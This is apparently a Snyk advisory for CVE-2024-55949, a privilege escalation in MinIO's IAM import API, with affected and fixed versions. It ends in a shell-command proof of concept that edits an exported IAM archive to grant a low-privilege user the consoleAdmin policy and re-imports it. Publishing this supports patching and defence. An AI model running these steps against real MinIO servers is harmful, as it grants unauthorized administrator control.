Improper Privilege Management Affecting github.com/minio/minio/cmd package, versions >=RELEASE.2022-06-25T15-50-16Z <RELEASE.2024-12-13T22-19-12Z
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-GOLANG-GITHUBCOMMINIOMINIOCMD-8516158
- published17 Dec 2024
- disclosed16 Dec 2024
- creditUnknown
Introduced: 16 Dec 2024
NewCVE-2024-55949 Â (opens in a new tab)How to fix?
Upgrade github.com/minio/minio/cmd to version RELEASE.2024-12-13T22-19-12Z or higher.
Overview
github.com/minio/minio/cmd is an open source object storage server compatible with Amazon S3 APIs.
Affected versions of this package are vulnerable to Improper Privilege Management via the IAM import API. An attacker can escalate privileges by manipulating API requests.
Note:
This is only exploitable if the attacker has access to authenticated API calls.
PoC
./minio server /tmp/d{1...4} &
mc alias set myminio http://localhost:9000 minioadmin minioadmin
mc admin user add myminio nobody nobody123
mc admin policy attach myminio readwrite nobody nobody123
mc alias set nobody http://localhost:9000 nobody nobody123
mc admin cluster iam export myminio
mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x
cd /tmp/x
unzip myminio-iam-info.zip
echo '{"nobody":{"version":1,"policy":"consoleAdmin","updatedAt":"2024-08-13T19:47:10.1Z"}}' > \
iam-assets/user_mappings.json
zip -r myminio-iam-info-updated.zip iam-assets/
mc admin cluster iam import nobody ./myminio-iam-info-updated.zip
mc admin service restart nobody